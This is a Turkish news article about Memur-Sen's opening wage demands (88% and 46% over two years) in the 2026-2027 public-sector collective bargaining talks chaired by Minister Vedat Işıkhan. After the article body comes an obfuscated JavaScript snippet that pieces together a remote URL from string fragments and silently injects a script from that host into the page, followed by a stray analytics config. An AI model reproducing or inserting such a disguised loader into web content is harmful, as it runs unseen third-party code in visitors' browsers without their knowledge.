Sendika

Memur-Sen’den Rekor Zam Talebi: İlk Yıl %88, İkinci Yıl %46 Artış Masada!

2026-2027 yıllarında yaklaşık 4 milyon memur ve 2,5 milyon memur emeklisinin mali ve sosyal haklarını belirleyecek 8. Dönem Kamu Toplu Sözleşmesi görüşmeleri, Çalışma ve Sosyal Güvenlik Bakanlığı’nın ev sahipliğinde başladı.

Abone Ol

İlk toplantıya Bakan Vedat Işıkhan başkanlık ederken, Memur-Sen yetkili konfederasyon olarak masadaki yerini aldı.

Görüşmeler Takvim Dışı Erken Başladı

Memur-Sen Genel Başkanı Ali Yalçın, görüşmelerin bu yıl erken başladığını vurgulayarak, “Normalde toplu sözleşme süreci 1-31 Ağustos tarihleri arasında yürütülür. Ancak sürenin yetersizliğini göz önünde bulundurarak Bakan Işıkhan’a 28 Temmuz’da başlamayı önerdik. Kendisi bu öneriye olumlu yaklaşarak süreci takvim dışı başlattı” dedi.

Masada Kimler Var?

Toplantıya Memur-Sen’in yanı sıra Türkiye Kamu-Sen Genel Başkanı Önder Kahveci ve Birleşik Kamu-İş Genel Başkanı Orhan Yıldırım da katıldı. İlk oturumda, izlenecek yol haritası ve hizmet kollarının sınıflandırılmasına ilişkin süreç ele alındı.

Emeklilere Seyyanen Zam Talebi

Ali Yalçın, emekli memurların mağduriyetine dikkat çekerek, aktif memurlara verilen seyyanen zammın emeklilere de yansıtılmasının şart olduğunu söyledi. “Görev aylığı ile emekli aylığı arasındaki fark giderek açılıyor. Görevdeyken aldığı maaşın yalnızca yüzde 45’ini emekliyken alabilen bir sistemde adalet yok” ifadelerini kullandı. Çözüm önerisi olarak ise taban aylıklara iyileştirme yapılmasını önerdi.

Teklifler Masada: Yüzde 88 + Yüzde 46 Zam Talebi

Memur-Sen’in teklifine göre, 2026 yılı için ilk altı ayda yüzde 25, ikinci altı ayda yüzde 20 zam; ayrıca yıl başında yüzde 10 refah payı isteniyor. 2027 için ise 7.500 TL taban aylık iyileştirmesiyle birlikte ilk yarıda yüzde 20, ikinci yarıda yüzde 15 oranında artış talep ediliyor. Toplamda iki yılda yüzde 88 ve yüzde 46 zam hedefleniyor.

Gelir Adaleti ve Statü Sorunları Gündemde

Toplu sözleşme masasına sadece zam talepleriyle değil, yapısal sorunlarla da geldiklerini belirten Yalçın, kamu personel sisteminin artık revizyona ihtiyaç duyduğunu söyledi. “Aynı işi yapan çalışanlar farklı statülerde farklı ücretlerle çalıştırılıyor. Bu, hem gelir adaletini hem de çalışma barışını tehdit ediyor” dedi.

Sürecin Devamı ve Takvim Açıklaması Bekleniyor

Yalçın, Bakan Işıkhan’ın L20 toplantısına katılacağı süre boyunca hizmet kollarındaki tekliflerin tasnif edilip ayrıştırılacağını belirtti. Bu çalışmalar bakan yardımcısının nezaretinde sürdürülecek. Asıl müzakere süreci ise bakanın dönüşüyle başlayacak. Çalışma ve Sosyal Güvenlik Bakanlığı'nın resmi müzakere takvimini bugün açıklaması bekleniyor.

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }